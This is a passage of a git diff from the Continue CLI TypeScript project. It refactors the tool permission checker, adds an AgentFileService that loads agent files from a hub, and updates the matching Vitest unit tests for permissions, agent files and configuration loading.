evaluateToolCallPolicy - }; - vi.mocked(toolsModule.getAllBuiltinTools).mockReturnValue([ - mockReadTool, - mockBashTool, - ]); - const permissions: ToolPermissions = { policies: [{ tool: "Read", permission: "allow" }], }; @@ -902,7 +824,7 @@ describe("Permission Checker", () => { ); expect(result.permission).toBe("allow"); - expect(mockBashTool.evaluateToolCallPolicy).not.toHaveBeenCalled(); + expect(mockEvaluateToolCallPolicy).not.toHaveBeenCalled(); }); it("should use default 'ask' when no policy matches", () => { @@ -910,9 +832,7 @@ describe("Permission Checker", () => { policies: [], }; - mockBashTool.evaluateToolCallPolicy.mockReturnValue( - "allowedWithPermission", - ); + mockEvaluateToolCallPolicy.mockReturnValue("allowedWithPermission"); const result = checkToolPermission( { name: "Bash", arguments: { command: "echo test" } }, @@ -920,16 +840,14 @@ describe("Permission Checker", () => { ); expect(result.permission).toBe("ask"); // Default fallback, user preference wins - expect(mockBashTool.evaluateToolCallPolicy).toHaveBeenCalledWith( + expect(mockEvaluateToolCallPolicy).toHaveBeenCalledWith( "allowedWithPermission", // converted from default "ask" { command: "echo test" }, ); }); it("should handle null/undefined arguments gracefully", () => { - mockBashTool.evaluateToolCallPolicy.mockReturnValue( - "allowedWithPermission", - ); + mockEvaluateToolCallPolicy.mockReturnValue("allowedWithPermission"); const permissions: ToolPermissions = { policies: [{ tool: "Bash", permission: "allow" }], @@ -941,16 +859,14 @@ describe("Permission Checker", () => { ); expect(result.permission).toBe("allow"); - expect(mockBashTool.evaluateToolCallPolicy).toHaveBeenCalledWith( + expect(mockEvaluateToolCallPolicy).toHaveBeenCalledWith( "allowedWithoutPermission", {}, ); }); it("should maintain matched policy information", () => { - mockBashTool.evaluateToolCallPolicy.mockReturnValue( - "allowedWithoutPermission", - ); + mockEvaluateToolCallPolicy.mockReturnValue("allowedWithoutPermission"); const policy = { tool: "Bash", permission: "allow" as const }; const permissions: ToolPermissions = { diff --git a/extensions/cli/src/permissions/permissionChecker.ts b/extensions/cli/src/permissions/permissionChecker.ts index 55a4fbfab..093137d30 100644 --- a/extensions/cli/src/permissions/permissionChecker.ts +++ b/extensions/cli/src/permissions/permissionChecker.ts @@ -1,11 +1,7 @@ import type { ToolPolicy } from "@continuedev/terminal-security"; -import { getServiceSync } from "../services/index.js"; -import type { ToolPermissionServiceState } from "../services/types.js"; -import { SERVICE_NAMES } from "../services/types.js"; -import { getAllBuiltinTools } from "../tools/index.js"; +import { ALL_BUILT_IN_TOOLS } from "src/tools/allBuiltIns.js"; -import { DEFAULT_TOOL_POLICIES } from "./defaultPolicies.js"; import { PermissionCheckResult, PermissionPolicy, @@ -131,25 +127,9 @@ function permissionPolicyToToolPolicy( */ export function checkToolPermission( toolCall: ToolCallRequest, - permissions?: ToolPermissions, + permissions: ToolPermissions, ): PermissionCheckResult { - // Get permissions from service if not provided - let policies = permissions?.policies; - - if (!policies) { - const serviceResult = getServiceSync( - SERVICE_NAMES.TOOL_PERMISSIONS, - ); - - // Only use defaults if service is not ready, not registered, or has no value - // This allows critical runtime errors to propagate properly - if (serviceResult.state !== "ready" || !serviceResult.value) { - policies = DEFAULT_TOOL_POLICIES; - } else { - policies = - serviceResult.value.permissions.policies || DEFAULT_TOOL_POLICIES; - } - } + const policies = permissions.policies; // First, get the base permission from static policies let basePermission: PermissionPolicy = "ask"; @@ -167,9 +147,7 @@ export function checkToolPermission( } // Check if tool has dynamic policy evaluation - const builtinTools = getAllBuiltinTools(); - const tool = builtinTools.find((t) => t.name === toolCall.name); - + const tool = ALL_BUILT_IN_TOOLS.find((t) => t.name === toolCall.name); if (tool?.evaluateToolCallPolicy) { // Convert CLI permission to core policy const basePolicy = permissionPolicyToToolPolicy(basePermission); @@ -201,19 +179,3 @@ export function checkToolPermission( matchedPolicy, }; } - -/** - * Filters out tools that have "exclude" permission from a list of tool names. - */ -export function filterExcludedTools( - toolNames: string[], - permissions?: ToolPermissions, -): string[] { - return toolNames.filter((toolName) => { - const result = checkToolPermission( - { name: toolName, arguments: {} }, - permissions, - ); - return result.permission !== "exclude"; - }); -} diff --git a/extensions/cli/src/services/AgentFileService.test.ts b/extensions/cli/src/services/AgentFileService.test.ts new file mode 100644 index 000000000..1100095c1 --- /dev/null +++ b/extensions/cli/src/services/AgentFileService.test.ts @@ -0,0 +1,431 @@ +import { beforeEach, describe, expect, it, vi } from "vitest"; + +import { + AgentFileService, + EMPTY_AGENT_FILE_STATE, +} from "./AgentFileService.js"; + +// Mock the hubLoader module +vi.mock("../hubLoader.js", () => ({ + loadPackageFromHub: vi.fn(), + loadPackagesFromHub: vi.fn(), + loadModelFromHub: vi.fn(), + mcpProcessor: {}, + modelProcessor: {}, + processRule: vi.fn(), + isStringRule: vi.fn(), + agentFileProcessor: { + type: "agentFile", + expectedFileExtensions: [".md"], + parseContent: vi.fn(), + validateContent: vi.fn(), + }, +})); + +// Mock the logger +vi.mock("../util/logger.js", () => ({ + logger: { + debug: vi.fn(), + error: vi.fn(), + warn: vi.fn(), + }, +})); + +// Mock config module +vi.mock("../config.js", () => ({ + createLlmApi: vi.fn(), + getLlmApi: vi.fn(), +})); + +// Mock auth module +vi.mock("../auth/workos.js", () => ({ + getModelName: vi.fn(), + loadAuthConfig: vi.fn(), +})); + +// Mock the config-yaml package +vi.mock("@continuedev/config-yaml", async (importOriginal) => { + const actual = + await importOriginal(); + return { + ...actual, + }; +}); + +// Mock service container +vi.mock("./ServiceContainer.js", () => ({ + serviceContainer: { + get: vi.fn(), + set: vi.fn(), + reload: vi.fn(), + }, +})); + +describe("AgentFileService", () => { + let agentFileService: AgentFileService; + let mockLoadPackageFromHub: any; + let mockLoadModelFromHub: any; + + const mockAgentFile = { + name: "Test Agent File", + description: "A test agent for integration testing", + model: "gpt-4-agent", + tools: "bash,read,write", + rules: "Always be helpful and concise", + prompt: "You are an assistant.", + }; + + const mockAssistant = { + models: [ + { + provider: "openai", + name: "gpt-3.5-turbo", + roles: ["chat"], + }, + { + provider: "openai", + name: "gpt-4", + roles: ["chat"], + }, + ], + }; + + const mockAuthConfig = { + apiKey: "test-key", + }; + + beforeEach(async () => { + vi.clearAllMocks(); + + // Get mock functions + const hubLoaderModule = await import("../hubLoader.js"); + mockLoadPackageFromHub = hubLoaderModule.loadPackageFromHub as any; + mockLoadModelFromHub = hubLoaderModule.loadModelFromHub as any; + + // Create service instance + agentFileService = new AgentFileService(); + + // Setup default mocks + mockLoadPackageFromHub.mockResolvedValue(mockAgentFile); + mockLoadModelFromHub.mockResolvedValue({ + name: "gpt-4-agent", + provider: "openai", + }); + }); + + describe("initialization", () => { + it("should initialize with empty state when no agent slug provided", async () => { + const authServiceState = { + authConfig: mockAuthConfig, + isAuthenticated: true, + }; + const apiClientState = { apiClient: { mock: "apiClient" } }; + + const result = await agentFileService.initialize( + undefined, + authServiceState, + apiClientState, + ); + + expect(result).toEqual(EMPTY_AGENT_FILE_STATE); + expect(agentFileService.getState()).toEqual(EMPTY_AGENT_FILE_STATE); + expect(mockLoadPackageFromHub).not.toHaveBeenCalled(); + }); + + it("should load and parse agent file when slug is provided", async () => { + const authServiceState = { + authConfig: mockAuthConfig, + isAuthenticated: true, + }; + const apiClientState = { apiClient: { mock: "apiClient" } }; + + await agentFileService.initialize( + "owner/agent", + authServiceState, + apiClientState, + ); + + expect(mockLoadPackageFromHub).toHaveBeenCalledWith( + "owner/agent", + expect.objectContaining({ + type: "agentFile", + expectedFileExtensions: [".md"], + }), + ); + + const state = agentFileService.getState(); + expect(state.agentFile).toEqual(mockAgentFile); + expect(state.slug).toBe("owner/agent"); + }); + + it("should load agent file model when model is specified", async () => { + const authServiceState = { + authConfig: mockAuthConfig, + isAuthenticated: true, + }; + const apiClientState = { apiClient: { mock: "apiClient" } }; + + await agentFileService.initialize( + "owner/agent", + authServiceState, + apiClientState, + ); + + expect(mockLoadModelFromHub).toHaveBeenCalledWith("gpt-4-agent"); + + const state = agentFileService.getState(); + expect(state.agentFileModel).toEqual({ + name: "gpt-4-agent", + provider: "openai", + }); + }); + }); + + describe("rules parsing", () => { + it("should parse rules when agent file has rules", async () => { + const authServiceState = { + authConfig: mockAuthConfig, + isAuthenticated: true, + }; + const apiClientState = { apiClient: { mock: "apiClient" } }; + + await agentFileService.initialize( + "owner/agent", + authServiceState, + apiClientState, + ); + + const state = agentFileService.getState(); + expect(state.parsedRules).toBeDefined(); + expect(state.parsedRules).toEqual(["Always be helpful and concise"]); + }); + + it("should not parse rules when agent file has no rules", async () => { + const agentFileWithoutRules = { ...mockAgentFile, rules: undefined }; + mockLoadPackageFromHub.mockResolvedValue(agentFileWithoutRules); + + const authServiceState = { + authConfig: mockAuthConfig, + isAuthenticated: true, + }; + const apiClientState = { apiClient: { mock: "apiClient" } }; + + await agentFileService.initialize( + "owner/agent", + authServiceState, + apiClientState, + ); + + const state = agentFileService.getState(); + expect(state.parsedRules).toBeNull(); + }); + }); + + describe("tools parsing", () => { + it("should parse tools when agent file has tools", async () => { + const authServiceState = { + authConfig: mockAuthConfig, + isAuthenticated: true, + }; + const apiClientState = { apiClient: { mock: "apiClient" } }; + + await agentFileService.initialize( + "owner/agent", + authServiceState, + apiClientState, + ); + + const state = agentFileService.getState(); + expect(state.parsedTools).toBeDefined(); + expect(state.parsedTools?.mcpServers).toBeDefined(); + expect(Array.isArray(state.parsedTools?.mcpServers)).toBe(true); + }); + + it("should not parse tools when agent file has no tools", async () => { + const agentFileWithoutTools = { ...mockAgentFile, tools: undefined }; + mockLoadPackageFromHub.mockResolvedValue(agentFileWithoutTools); + + const authServiceState = { + authConfig: mockAuthConfig, + isAuthenticated: true, + }; + const apiClientState = { apiClient: { mock: "apiClient" } }; + + await agentFileService.initialize( + "owner/agent", + authServiceState, + apiClientState, + ); + + const state = agentFileService.getState(); + expect(state.parsedTools).toBeNull(); + }); + }); + + describe("model loading", () => { + it("should not load model when agent file has no model", async () => { + const agentFileWithoutModel = { ...mockAgentFile, model: undefined }; + mockLoadPackageFromHub.mockResolvedValue(agentFileWithoutModel); + + const authServiceState = { + authConfig: mockAuthConfig, + isAuthenticated: true, + }; + const apiClientState = { apiClient: { mock: "apiClient" } }; + + await agentFileService.initialize( + "owner/agent", + authServiceState, + apiClientState, + ); + + expect(mockLoadModelFromHub).not.toHaveBeenCalled(); + + const state = agentFileService.getState(); + expect(state.agentFileModel).toBeNull(); + }); + + it("should throw error when API client is not available for model loading", async () => { + const authServiceState = { + authConfig: mockAuthConfig, + isAuthenticated: true, + }; + const apiClientState = { apiClient: null }; + + await expect( + agentFileService.initialize( + "owner/agent", + authServiceState, + apiClientState, + ), + ).rejects.toThrow( + "Cannot load agent model, failed to load api client service", + ); + }); + }); + + describe("error handling", () => { + it("should throw error when agent loading fails", async () => { + mockLoadPackageFromHub.mockRejectedValue(new Error("Network error")); + + const authServiceState = { + authConfig: mockAuthConfig, + isAuthenticated: true, + }; + const apiClientState = { apiClient: { mock: "apiClient" } }; + + await expect( + agentFileService.initialize( + "owner/agent", + authServiceState, + apiClientState, + ), + ).rejects.toThrow("Network error"); + + const state = agentFileService.getState(); + expect(state.agentFile).toBeNull(); + }); + + it("should throw error for invalid agent slug format", async () => { + const authServiceState = { + authConfig: mockAuthConfig, + isAuthenticated: true, + }; + const apiClientState = { apiClient: { mock: "apiClient" } }; + + await expect( + agentFileService.initialize( + "invalid-slug", + authServiceState, + apiClientState, + ), + ).rejects.toThrow( + 'Invalid agent slug format. Expected "owner/package", got: invalid-slug', + ); + }); + + it("should throw error when model loading fails", async () => { + mockLoadModelFromHub.mockRejectedValue(new Error("Model load error")); + + const authServiceState = { + authConfig: mockAuthConfig, + isAuthenticated: true, + }; + const apiClientState = { apiClient: { mock: "apiClient" } }; + + await expect( + agentFileService.initialize( + "owner/agent", + authServiceState, + apiClientState, + ), + ).rejects.toThrow("Model load error"); + }); + }); + + describe("state management", () => { + it("should return correct state after initialization", async () => { + const authServiceState = { + authConfig: mockAuthConfig, + isAuthenticated: true, + }; + const apiClientState = { apiClient: { mock: "apiClient" } }; + + await agentFileService.initialize( + "owner/agent", + authServiceState, + apiClientState, + ); + + const state = agentFileService.getState(); + expect(state.agentFile).toEqual(mockAgentFile); + expect(state.slug).toBe("owner/agent"); + expect(state.parsedRules).toEqual(["Always be helpful and concise"]); + expect(state.parsedTools?.mcpServers).toBeDefined(); + expect(Array.isArray(state.parsedTools?.mcpServers)).toBe(true); + expect(state.agentFileModel).toEqual({ + name: "gpt-4-agent", + provider: "openai", + }); + }); + + it("should have correct dependencies", () => { + const dependencies = agentFileService.getDependencies(); + expect(dependencies).toEqual(["auth", "apiClient"]); + }); + }); + + describe("partial data handling", () => { + it("should handle agent file with missing optional properties", async () => { + const partialAgentFile = { + name: "Partial Agent File", + model: "gpt-3.5-turbo", + prompt: "Partial prompt", + // No tools or rules + }; + + mockLoadPackageFromHub.mockResolvedValue(partialAgentFile); + + const authServiceState = { + authConfig: mockAuthConfig, + isAuthenticated: true, + }; + const apiClientState = { apiClient: { mock: "apiClient" } }; + + await agentFileService.initialize( + "owner/partial", + authServiceState, + apiClientState, + ); + + const state = agentFileService.getState(); + expect(state.agentFile?.name).toBe("Partial Agent File"); + expect(state.agentFile?.model).toBe("gpt-3.5-turbo"); + expect(state.agentFile?.prompt).toBe("Partial prompt"); + expect(state.agentFile?.tools).toBeUndefined(); + expect(state.agentFile?.rules).toBeUndefined(); + expect(state.parsedRules).toBeNull(); + expect(state.parsedTools).toBeNull(); + }); + }); +}); diff --git a/extensions/cli/src/services/AgentFileService.ts b/extensions/cli/src/services/AgentFileService.ts new file mode 100644 index 000000000..81dd0e4df --- /dev/null +++ b/extensions/cli/src/services/AgentFileService.ts @@ -0,0 +1,115 @@ +import { + parseAgentFileRules, + parseAgentFileTools, +} from "@continuedev/config-yaml"; + +import { + agentFileProcessor, + loadModelFromHub, + loadPackageFromHub, +} from "../hubLoader.js"; +import { logger } from "../util/logger.js"; + +import { BaseService, ServiceWithDependencies } from "./BaseService.js"; +import { serviceContainer } from "./ServiceContainer.js"; +import { + AgentFileServiceState, + ApiClientServiceState, + AuthServiceState, + SERVICE_NAMES, +} from "./types.js"; + +export const EMPTY_AGENT_FILE_STATE: AgentFileServiceState = { + agentFile: null, + slug: null, + parsedRules: null, + parsedTools: null, + agentFileModel: null, +}; +/** + * Service for managing agent file state + * Loads agent files from the hub and extracts model, tools, and prompt information + */ +export class AgentFileService + extends BaseService + implements ServiceWithDependencies +{ + constructor() { + super("AgentFileService", { + ...EMPTY_AGENT_FILE_STATE, + }); + } + + getDependencies(): string[] { + return [SERVICE_NAMES.AUTH, SERVICE_NAMES.API_CLIENT]; + } + + /** + * Initialize the agent file service with a hub slug + */ + async doInitialize( + agentFileSlug: string | undefined, + authServiceState: AuthServiceState, + apiClientState: ApiClientServiceState, + ): Promise { + if (!agentFileSlug) { + return { + ...EMPTY_AGENT_FILE_STATE, + }; + } + + try { + const parts = agentFileSlug.split("/"); + if (parts.length !== 2) { + throw new Error( + `Invalid agent slug format. Expected "owner/package", got: ${agentFileSlug}`, + ); + } + + const agentFile = await loadPackageFromHub( + agentFileSlug, + agentFileProcessor, + ); + + // Set the basic agent file state + this.setState({ + agentFile, + slug: agentFileSlug, + }); + + if (agentFile.model) { + if (!apiClientState.apiClient) { + throw new Error( + "Cannot load agent model, failed to load api client service", + ); + } + const model = await loadModelFromHub(agentFile.model); + this.setState({ + agentFileModel: model, + }); + } + + if (agentFile.rules) { + this.setState({ + parsedRules: parseAgentFileRules(agentFile.rules), + }); + } + + if (agentFile.tools) { + this.setState({ + parsedTools: parseAgentFileTools(agentFile.tools), + }); + } + + return this.getState(); + } catch (error: any) { + logger.error("Failed to initialize AgentFileService:", error); + throw error; + } + } + + protected override setState(newState: Partial): void { + super.setState(newState); + serviceContainer.set("update", this.currentState); + } +} diff --git a/extensions/cli/src/services/AuthService.refactored.ts b/extensions/cli/src/services/AuthService.refactored.ts deleted file mode 100644 index 0a3a79653..000000000 --- a/extensions/cli/src/services/AuthService.refactored.ts +++ /dev/null @@ -1,205 +0,0 @@ -import { - AuthenticatedConfig, - login as doLogin, - logout as doLogout, - ensureOrganization, - isAuthenticated, - listUserOrganizations, - loadAuthConfig, - saveAuthConfig, -} from "../auth/workos.js"; -import { logger } from "../util/logger.js"; - -import { BaseService } from "./BaseService.js"; -import { AuthServiceState } from "./types.js"; - -/** - * Service for managing authentication state and operations - * Now extends BaseService for common functionality - */ -export class AuthService extends BaseService { - constructor() { - super("AuthService", { - authConfig: null, - isAuthenticated: false, - }); - } - - /** - * Initialize the auth service by loading current config - */ - async doInitialize(): Promise { - const authConfig = loadAuthConfig(); - const authenticated = isAuthenticated(); - - const state: AuthServiceState = { - authConfig, - isAuthenticated: authenticated, - organizationId: authConfig?.organizationId || undefined, - }; - - logger.debug("AuthService initialized", { - authenticated, - hasConfig: !!authConfig, - orgId: state.organizationId, - }); - - return state; - } - - /** - * Perform login flow - */ - async login(): Promise { - logger.debug("Starting login flow"); - - try { - const newAuthConfig = await doLogin(); - - this.setState({ - authConfig: newAuthConfig, - isAuthenticated: true, - organizationId: newAuthConfig?.organizationId || undefined, - }); - - logger.debug("Login successful", { - orgId: this.currentState.organizationId, - }); - - return this.getState(); - } catch (error: any) { - logger.error("Login failed:", error); - this.emit("error", error); - throw error; - } - } - - /** - * Perform logout - */ - async logout(): Promise { - logger.debug("Logging out"); - - doLogout(); - - this.setState({ - authConfig: null, - isAuthenticated: false, - organizationId: undefined, - }); - - logger.debug("Logout complete"); - return this.getState(); - } - - /** - * Ensure organization is selected, prompting if necessary - */ - async ensureOrganization( - isHeadless: boolean = false, - ): Promise { - if (!this.currentState.authConfig) { - throw new Error("Not authenticated - cannot ensure organization"); - } - - logger.debug("Ensuring organization is selected", { - currentOrgId: this.currentState.organizationId, - isHeadless, - }); - - const updatedConfig = await ensureOrganization( - this.currentState.authConfig, - isHeadless, - ); - - this.setState({ - authConfig: updatedConfig, - isAuthenticated: true, - organizationId: updatedConfig?.organizationId || undefined, - }); - - logger.debug("Organization ensured", { - orgId: this.currentState.organizationId, - }); - - return this.getState(); - } - - /** - * Switch to a different organization - */ - async switchOrganization( - organizationId: string | null, - ): Promise { - if ( - !this.currentState.authConfig || - !("userId" in this.currentState.authConfig) - ) { - throw new Error( - "Not authenticated with file-based auth - cannot switch organizations", - ); - } - - logger.debug("Switching organization", { - from: this.currentState.organizationId, - to: organizationId, - }); - - const authenticatedConfig = this.currentState - .authConfig as AuthenticatedConfig; - - const updatedConfig: AuthenticatedConfig = { - ...authenticatedConfig, - organizationId, - }; - - saveAuthConfig(updatedConfig); - - this.setState({ - authConfig: updatedConfig, - isAuthenticated: true, - organizationId: organizationId || undefined, - }); - - logger.debug("Organization switched", { - newOrgId: this.currentState.organizationId, - }); - - return this.getState(); - } - - /** - * Get available organizations for the current user - */ - async getAvailableOrganizations(): Promise< - { id: string; name: string }[] | null - > { - if (!this.currentState.isAuthenticated) { - return null; - } - - try { - return await listUserOrganizations(); - } catch (error: any) { - logger.error("Failed to list organizations:", error); - this.emit("error", error); - return null; - } - } - - /** - * Check if the current user has multiple organizations available - */ - async hasMultipleOrganizations(): Promise { - const orgs = await this.getAvailableOrganizations(); - return orgs !== null && orgs.length > 0; - } - - /** - * Refresh auth state from disk (useful after external changes) - */ - async refresh(): Promise { - logger.debug("Refreshing auth state from disk"); - return this.reload(); - } -} diff --git a/extensions/cli/src/services/ConfigService.test.ts b/extensions/cli/src/services/ConfigService.test.ts index 84d2ba5ae..fb7b250d8 100644 --- a/extensions/cli/src/services/ConfigService.test.ts +++ b/extensions/cli/src/services/ConfigService.test.ts @@ -1,32 +1,77 @@ +import { + decodePackageIdentifier, + mergeUnrolledAssistants, + ModelRole, +} from "@continuedev/config-yaml"; import { beforeEach, describe, expect, test, vi } from "vitest"; -// Mock modules -vi.mock("../auth/workos.js"); -vi.mock("../configLoader.js"); -vi.mock("../configEnhancer.js"); -vi.mock("./ServiceContainer.js"); - import * as workos from "../auth/workos.js"; -import { configEnhancer } from "../configEnhancer.js"; import * as configLoader from "../configLoader.js"; import { ConfigService } from "./ConfigService.js"; import { serviceContainer } from "./ServiceContainer.js"; -import { SERVICE_NAMES } from "./types.js"; +import { AgentFileServiceState, SERVICE_NAMES } from "./types.js"; +vi.mock("../auth/workos.js"); +vi.mock("../configLoader.js", () => ({ + loadConfiguration: vi.fn(), + unrollPackageIdentifiersAsConfigYaml: vi.fn(), +})); +vi.mock("../util/logger.js"); +vi.mock("./ServiceContainer.js"); +vi.mock("@continuedev/config-yaml"); + +const defaultModel = { + provider: "anthropic", + name: "claude-sonnet-4.5", + model: "claude-3-5-sonnet-20241022", + roles: ["chat"] as ModelRole[], +}; describe("ConfigService", () => { let service: ConfigService; const mockConfig = { name: "test-assistant", version: "1.0.0", - models: [], + models: [ + { + name: "existing-model", + model: "gpt-4", + roles: ["chat"], + }, + ], systemMessage: "Test system message", } as any; const mockApiClient = { get: vi.fn(), post: vi.fn() }; - + const mockAgentFileState: AgentFileServiceState = { + slug: null, + agentFile: null, + agentFileModel: null, + parsedRules: null, + parsedTools: null, + }; beforeEach(() => { vi.clearAllMocks(); service = new ConfigService(); + + // Setup mocks + vi.mocked(mergeUnrolledAssistants).mockReturnValue(mockConfig as any); + vi.mocked(decodePackageIdentifier).mockImplementation((id) => ({ + uriType: "slug", + fullSlug: { + ownerSlug: "owner", + packageSlug: "package", + versionSlug: "version", + }, + })); + + // Mock the default model loading function + vi.mocked( + configLoader.unrollPackageIdentifiersAsConfigYaml, + ).mockResolvedValue({ + name: "default-chat-model", + version: "1.0.0", + models: [defaultModel], + }); }); describe("State Management", () => { @@ -36,17 +81,27 @@ describe("ConfigService", () => { source: { type: "cli-flag", path: "/path/to/config.yaml" } as any, }); - const state = await service.initialize( - { accessToken: "token" } as any, - "/path/to/config.yaml", - "org-123", - mockApiClient as any, - ); + const state = await service.doInitialize({ + authConfig: { accessToken: "token" } as any, + configPath: "/path/to/config.yaml", + apiClient: mockApiClient as any, + agentFileState: mockAgentFileState, + }); expect(state).toEqual({ config: mockConfig as any, configPath: "/path/to/config.yaml", }); + expect(vi.mocked(mergeUnrolledAssistants)).toHaveBeenCalledWith( + mockConfig, + expect.objectContaining({ + name: "hidden", + version: "1.0.0", + rules: [], + mcpServers: [], + prompts: [], + }), + ); }); test("should initialize with undefined config path", async () => { @@ -55,12 +110,12 @@ describe("ConfigService", () => { source: { type: "default-agent" } as any, }); - const state = await service.initialize( - { accessToken: "token" } as any, - undefined, - "org-123", - mockApiClient as any, - ); + const state = await service.doInitialize({ + authConfig: { accessToken: "token" } as any, + configPath: undefined, + apiClient: mockApiClient as any, + agentFileState: mockAgentFileState, + }); expect(state).toEqual({ config: mockConfig as any, @@ -68,7 +123,7 @@ describe("ConfigService", () => { }); }); - test("should inject rules into config", async () => { + test("should inject rules into config using mergeUnrolledAssistants", async () => { vi.mocked(configLoader.loadConfiguration).mockResolvedValue({ config: mockConfig as any, source: { type: "cli-flag", path: "/config.yaml" } as any, @@ -76,24 +131,29 @@ describe("ConfigService", () => { const expectedConfig = { ...mockConfig, - systemMessage: - "Test system message\n\nProcessed: rule1\n\nProcessed: rule2", + rules: ["rule1", "rule2"], }; - vi.mocked(configEnhancer.enhanceConfig).mockResolvedValue(expectedConfig); + vi.mocked(mergeUnrolledAssistants).mockReturnValue(expectedConfig); - const state = await service.initialize( - { accessToken: "token" } as any, - "/config.yaml", - "org-123", - mockApiClient as any, - { rule: ["rule1", "rule2"] }, - ); + const state = await service.doInitialize({ + authConfig: { accessToken: "token" } as any, + configPath: "/config.yaml", + apiClient: mockApiClient as any, + agentFileState: mockAgentFileState, + injectedConfigOptions: { rule: ["rule1", "rule2"] }, + }); - // Verify configEnhancer was called with the right parameters - expect(vi.mocked(configEnhancer.enhanceConfig)).toHaveBeenCalledWith( + // Verify mergeUnrolledAssistants was called with the right parameters + expect(vi.mocked(mergeUnrolledAssistants)).toHaveBeenCalledWith( mockConfig, - { rule: ["rule1", "rule2"] }, + expect.objectContaining({ + name: "hidden", + version: "1.0.0", + rules: ["rule1", "rule2"], + mcpServers: [], + prompts: [], + }), ); expect(state.config).toEqual(expectedConfig); @@ -107,12 +167,12 @@ describe("ConfigService", () => { config: mockConfig as any, source: { type: "cli-flag", path: "/old.yaml" } as any, }); - await service.initialize( - { accessToken: "token" } as any, - "/old.yaml", - "org-123", - mockApiClient as any, - ); + await service.doInitialize({ + authConfig: { accessToken: "token" } as any, + configPath: "/old.yaml", + apiClient: mockApiClient as any, + agentFileState: mockAgentFileState, + }); // Switch to new config const newConfig = { ...mockConfig, name: "new-assistant" } as any; @@ -120,13 +180,14 @@ describe("ConfigService", () => { config: newConfig, source: { type: "cli-flag", path: "/new.yaml" } as any, }); + vi.mocked(mergeUnrolledAssistants).mockReturnValue(newConfig); - const state = await service.switchConfig( - "/new.yaml", - { accessToken: "token" } as any, - "org-123", - mockApiClient as any, - ); + const state = await service.switchConfig({ + authConfig: { accessToken: "token" } as any, + configPath: "/new.yaml", + apiClient: mockApiClient as any, + agentFileState: mockAgentFileState, + }); expect(state).toEqual({ config: newConfig, @@ -136,24 +197,24 @@ describe("ConfigService", () => { }); test("should handle switch config errors", async () => { - await service.initialize( - { accessToken: "token" } as any, - "/old.yaml", - "org-123", - mockApiClient as any, - ); + await service.doInitialize({ + authConfig: { accessToken: "token" } as any, + configPath: "/old.yaml", + apiClient: mockApiClient as any, + agentFileState: mockAgentFileState, + }); vi.mocked(configLoader.loadConfiguration).mockRejectedValue( new Error("Config not found"), ); await expect( - service.switchConfig( - "/bad.yaml", - { accessToken: "token" } as any, - "org-123", - mockApiClient as any, - ), + service.switchConfig({ + authConfig: { accessToken: "token" } as any, + configPath: "/bad.yaml", + apiClient: mockApiClient as any, + agentFileState: mockAgentFileState, + }), ).rejects.toThrow("Config not found"); }); }); @@ -165,12 +226,12 @@ describe("ConfigService", () => { config: mockConfig as any, source: { type: "cli-flag", path: "/config.yaml" } as any, }); - await service.initialize( - { accessToken: "token" } as any, - "/config.yaml", - "org-123", - mockApiClient as any, - ); + await service.doInitialize({ + authConfig: { accessToken: "token" } as any, + configPath: "/config.yaml", + apiClient: mockApiClient as any, + agentFileState: mockAgentFileState, + }); // Modify mock to return updated config const updatedConfig = { ...mockConfig, name: "updated-assistant" } as any; @@ -178,12 +239,13 @@ describe("ConfigService", () => { config: updatedConfig, source: { type: "cli-flag", path: "/config.yaml" } as any, }); + vi.mocked(mergeUnrolledAssistants).mockReturnValue(updatedConfig); - const state = await service.reload( - { accessToken: "token" } as any, - "org-123", - mockApiClient as any, - ); + const state = await service.reload({ + authConfig: { accessToken: "token" } as any, + apiClient: mockApiClient as any, + agentFileState: mockAgentFileState, + }); expect(state).toEqual({ config: updatedConfig, @@ -197,19 +259,19 @@ describe("ConfigService", () => { config: mockConfig as any, source: { type: "default-agent" } as any, }); - await service.initialize( - { accessToken: "token" } as any, - undefined, - "org-123", - mockApiClient as any, - ); + await service.doInitialize({ + authConfig: { accessToken: "token" } as any, + configPath: undefined, + apiClient: mockApiClient as any, + agentFileState: mockAgentFileState, + }); await expect( - service.reload( - { accessToken: "token" } as any, - "org-123", - mockApiClient as any, - ), + service.reload({ + authConfig: { accessToken: "token" } as any, + apiClient: mockApiClient as any, + agentFileState: mockAgentFileState, + }), ).rejects.toThrow("No configuration path available for reload"); }); }); @@ -221,21 +283,22 @@ describe("ConfigService", () => { config: mockConfig as any, source: { type: "cli-flag", path: "/old.yaml" } as any, }); - await service.initialize( - { accessToken: "token" } as any, - "/old.yaml", - "org-123", - mockApiClient as any, - ); + await service.doInitialize({ + authConfig: { accessToken: "token" } as any, + configPath: "/old.yaml", + apiClient: mockApiClient as any, + agentFileState: mockAgentFileState, + }); // Mock service container vi.mocked(workos.loadAuthConfig).mockReturnValue({ accessToken: "token", organizationId: "org-123", } as any); - vi.mocked(serviceContainer.get).mockResolvedValue({ - apiClient: mockApiClient, - }); + vi.mocked(serviceContainer.get) + .mockResolvedValueOnce({ apiClient: mockApiClient }) + .mockResolvedValueOnce(mockAgentFileState) + .mockResolvedValueOnce({ isHeadless: false }); // Mock new config load const newConfig = { ...mockConfig, name: "new-assistant" } as any; @@ -243,6 +306,7 @@ describe("ConfigService", () => { config: newConfig, source: { type: "cli-flag", path: "/new.yaml" } as any, }); + vi.mocked(mergeUnrolledAssistants).mockReturnValue(newConfig); await service.updateConfigPath("/new.yaml"); @@ -263,12 +327,12 @@ describe("ConfigService", () => { }); test("should handle missing API client", async () => { - await service.initialize( - { accessToken: "token" } as any, - "/old.yaml", - "org-123", - mockApiClient as any, - ); + await service.doInitialize({ + authConfig: { accessToken: "token" } as any, + configPath: "/old.yaml", + apiClient: mockApiClient as any, + agentFileState: mockAgentFileState, + }); vi.mocked(workos.loadAuthConfig).mockReturnValue({ accessToken: "token", @@ -284,9 +348,90 @@ describe("ConfigService", () => { }); }); + describe("getAdditionalBlocksFromOptions()", () => { + test("should process command line options correctly", () => { + const options = { + rule: ["rule1", "owner/package-rule"], + prompt: ["prompt1"], + model: ["gpt-4"], + mcp: ["owner/mcp-server", "https://example.com/mcp"], + }; + const agentFileState = { + agentFile: { + name: "test-agent", + model: "agent-model", + prompt: "Agent prompt", + }, + parsedRules: ["agent/rule"], + parsedTools: { + mcpServers: ["agent/mcp"], + }, + } as any; + + const result = service.getAdditionalBlocksFromOptions( + options, + agentFileState, + ); + + // Should have package identifiers from models, MCPs, and non-string rules + expect(vi.mocked(decodePackageIdentifier)).toHaveBeenCalledWith("gpt-4"); + expect(vi.mocked(decodePackageIdentifier)).toHaveBeenCalledWith( + "agent-model", + ); + expect(vi.mocked(decodePackageIdentifier)).toHaveBeenCalledWith( + 